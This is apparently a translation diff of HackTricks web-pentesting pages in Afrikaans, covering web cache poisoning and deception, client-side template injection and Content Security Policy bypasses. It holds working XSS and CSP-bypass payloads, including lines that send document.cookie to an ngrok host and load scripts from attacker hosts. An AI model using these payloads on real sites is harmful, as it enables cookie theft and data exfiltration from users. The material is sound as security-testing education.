2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die betrokke bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang.
@ -38,12 +38,12 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w
### Ontdekking: Identifiseer en evalueer ongekykte insette
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
```markup
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Ontlok 'n skadelike reaksie van die agtergrondbediener
### Ontlok 'n skadelike reaksie van die agterkant bediener
Met die parameter/kop geïdentifiseer, kyk hoe dit **gesuiwer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
Met die parameter/kop geïdentifiseer, kyk hoe dit **gesanitiseer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
### Kry die reaksie in die cache
@ -58,13 +58,13 @@ Een meer kop wat verband hou met die cache is **`Age`**. Dit definieer die tyd i
Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk.
## Exploit Voorbeelde
## Exploiteringsvoorbeelde
### Eenvoudigste voorbeeld
'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer gereflekteer.\
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy benader, XSS sal ervaar:
```markup
'n Kop soos `X-Forwarded-For` word in die reaksie ongesanitiseer gereflekteer.\
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal hê:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
@ -80,7 +80,7 @@ cache-poisoning-to-dos.md
### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te benut
Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige cache antwoord laai.
```markup
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md
### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
```markup
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, stel en `X-Forwarded-Scheme` na `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
### Exploiting with limited `Vary`header
As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent:
```markup
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -164,7 +164,7 @@ Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde an
### GitLab + GCP CP-DoS
GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te lewer. Dit kan ook die metode `PURGE` ondersteun.
### Rack Middleware (Ruby on Rails)
@ -180,7 +180,7 @@ Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbe
### User Agent Rules
Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
### Illegal Header Fields
@ -194,7 +194,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan
Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** word om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
Ander dinge om te toets:
@ -206,7 +206,7 @@ Ander dinge om te toets:
- _Gebruik minder bekende uitbreidings soos_ `.avif`
Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache-bediener gaan die resultaat stoor.\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggestuur word en die cache-bediener gaan die resultaat stoor.\
Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **lêers** **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).

View File

@ -1,10 +1,10 @@
# Klientkant Sjabloon Inspuiting (CSTI)
# Client Side Template Injection (CSTI)
{{#include ../banners/hacktricks-training.md}}
## Samevatting
Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) maar in die **klient**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) maar in die **klant**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
@ -31,7 +31,7 @@ U kan 'n **kwesbare Vue** implementering vind in [https://vue-client-side-templa
Werkende payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
@ -49,7 +49,7 @@ Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/rese
```
Krediet: [Mario Heiderich](https://twitter.com/cure53berlin)
**Kyk na meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
**Kyk meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo

View File

@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste:
- `Content-Security-Policy`: Dwing die CSP af; die blaaiert blokkeer enige oortredings.
- `Content-Security-Policy`: Dwing die CSP af; die blaaiers blokkeer enige oortredings.
- `Content-Security-Policy-Report-Only`: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.
### Defining Resources
@ -53,9 +53,9 @@ object-src 'none';
- **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `<base>` elemente.
- **form-action**: Lys geldige eindpunte vir vormindienings.
- **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
- **upgrade-insecure-requests**: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf.
- **upgrade-insecure-requests**: Gee opdrag aan blaaiers om HTTP-URL's na HTTPS te herskryf.
- **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n `<iframe>`.
- **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word indien die beleid oortree word.
- **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word as die beleid oortree word.
- **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
- **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat verkry of vooraf verkry sal word.
- **navigate-to**: Beperk die URL's waartoe 'n dokument op enige manier kan navigeer (a, vorm, window.location, window.open, ens.)
@ -89,15 +89,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
</details>
- `'sha256-<hash>'`: Witlys scripts met 'n spesifieke sha256-hash.
- `'strict-dynamic'`: Laat toe dat scripts van enige bron gelaai word as dit deur 'n nonce of hash gewitlys is.
- `'strict-dynamic'`: Laat die laai van scripts van enige bron toe as dit deur 'n nonce of hash gewitlys is.
- `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
- `https:`: Beperk URL's tot dié wat HTTPS gebruik.
- `blob:`: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv. Blob-URL's wat via JavaScript geskep is).
- `filesystem:`: Laat toe dat hulpbronne van die lêerstelsel gelaai word.
- `blob:`: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv. Blob-URL's wat via JavaScript geskep is).
- `filesystem:`: Laat hulpbronne toe om van die lêerstelsel gelaai te word.
- `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
- `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).
- `'strict-origin-when-cross-origin'`: Stuur volle URL's wanneer dieselfde oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
- `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
- `'unsafe-allow-redirects'`: Laat hulpbronne toe om gelaai te word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
## Onveilige CSP-reëls
@ -133,7 +133,7 @@ As jy op een of ander manier 'n **toegelate JS-kode 'n nuwe skrip-tag** in die D
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Werkende payload:
```markup
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
@ -144,7 +144,7 @@ Werkende payload:
Content-Security-Policy: script-src 'self' ;
```
Werkende payloads:
```markup
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
@ -156,7 +156,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
Werkende payload:
```markup
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
@ -167,9 +167,9 @@ From here, if you find a XSS and a file upload, and you manage to find a **misin
### Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te exfiltreer **deur 'n vorm aksie in te voeg** (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vorm aksies dek nie.
### Derdeparty-eindpunte + ('unsafe-eval')
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> For some of the following payload **`unsafe-eval` is not even needed**.
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
> [!NOTE]
> Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window`-objek teruggee** kan nagaan.
```markup
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
@ -274,8 +274,8 @@ Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenario's soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word met behulp van JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
```markup
Scenario's soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
@ -290,39 +290,39 @@ Die dieselfde kwesbaarheid sal voorkom as die **betroubare eindpunt 'n Open Redi
### Derdeparty Misbruik
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekstrapoleer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekfiltreer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:
| Entiteit | Toegelate Domein | Vermoëns |
| ----------------- | ------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Ekstrapoleer |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Ekstrapoleer |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Voer uit |
| Amazon CloudFront | \*.cloudfront.net | Ekstrapoleer, Voer uit |
| Amazon AWS | \*.amazonaws.com | Ekstrapoleer, Voer uit |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Ekstrapoleer, Voer uit |
| Salesforce Heroku | \*.herokuapp.com | Ekstrapoleer, Voer uit |
| Google Firebase | \*.firebaseapp.com | Ekstrapoleer, Voer uit |
| Facebook | www.facebook.com, \*.facebook.com | Ekfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Ekfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Ekfil, Exec |
| Amazon AWS | \*.amazonaws.com | Ekfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Ekfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Ekfil, Exec |
| Google Firebase | \*.firebaseapp.com | Ekfil, Exec |
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekstrapoleer óf kode uit te voer.
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekfiltreer óf kode uit te voer.
Byvoorbeeld, as jy die volgende CSP vind:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
of
or
```
Content-Security-Policy: connect-src www.facebook.com;
```
U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gedoen is. In hierdie geval volg u hierdie algemene stappe:
U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen is met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In hierdie geval volg u hierdie algemene stappe:
1. Skep 'n Facebook Developer-rekening hier.
1. Skep 'n Facebook Developer rekening hier.
2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
3. Gaan na "Instellings -> Basies" en kry u "App ID".
4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur die Facebook SDK gadget "fbq" direk te gebruik deur 'n "customEvent" en die dataload.
5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.
3. Gaan na "Instellings -> Basies" en kry jou "App ID".
4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur die Facebook SDK gadget "fbq" direk te gebruik deur 'n "customEvent" en die datalaai.
5. Gaan na jou App "Event Manager" en kies die toepassing wat jy geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-trackingpixel te initialiseer om na die aanvaller se Facebook-ontwikkelaarrekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook volgpixel te initialiseer om na die aanvaller se Facebook ontwikkelaar rekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -341,13 +341,13 @@ Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan di
```
Die blaaiers sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
Dit werk omdat jy vir die blaier 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
Dit werk omdat jy vir die blaaiers 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
∑, hulle sal dit decodeer, wat effektief `https://example.com/scripts/react/../angular/angular.js` versoek, wat gelyk is aan `https://example.com/scripts/angular/angular.js`.
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaier en die bediener te benut, kan die padreëls omseil word**.
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaiers en die bediener te benut, kan die padreëls omseil word**.
Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaier en die bediener verseker om hierdie probleem te vermy.
Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaaiers en die bediener verseker om hierdie probleem te vermy.
Aanlyn Voorbeeld:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -370,12 +370,12 @@ As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS-URL in die ba
'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel persoonlike gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiers gebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik, in Chrome, het die `$event/event` objek 'n `path` attribuut, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te herhaal, en die terminale element (die `window` objek) te benut om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:
Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te herhaal, terwyl die terminale element (die `window` objek) gebruik word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, met `$event.path|orderBy` om die `path`-array te manipuleer, en die `window`-objek te benut om die `alert()`-funksie uit te voer, wat `document.cookie` onthul.
Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, deur `$event.path|orderBy` te gebruik om die `path`-array te manipuleer, en die `window`-objek te benut om die `alert()`-funksie uit te voer, wat `document.cookie` onthul.
**Vind ander Angular omseilings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan 'n **spesiale beeld** **ontwerp**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS kode (soos 'n gewone XSS) te **voer** wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **voeren**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Met Dienswerkers
@ -462,7 +462,7 @@ Dienswerkers **`importScripts`** funksie is nie beperk deur CSP nie:
#### Chrome
As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline' toelaat** met enige van hierdie omseilings:
As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** **geplak** word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,7 +478,7 @@ Voorbeeld: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=
### img-src \*; via XSS (iframe) - Tydaanval
Let op die gebrek aan die riglyn `'unsafe-inline'`\
Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy benodig om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
Hierdie keer gaan 'n **vlag** onttrek word, wanneer 'n **karakter korrek geraai** word via SQLi neem die **antwoord** **meer tyd** weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
```html
@ -542,13 +542,13 @@ run()
```
### Via Bookmarklets
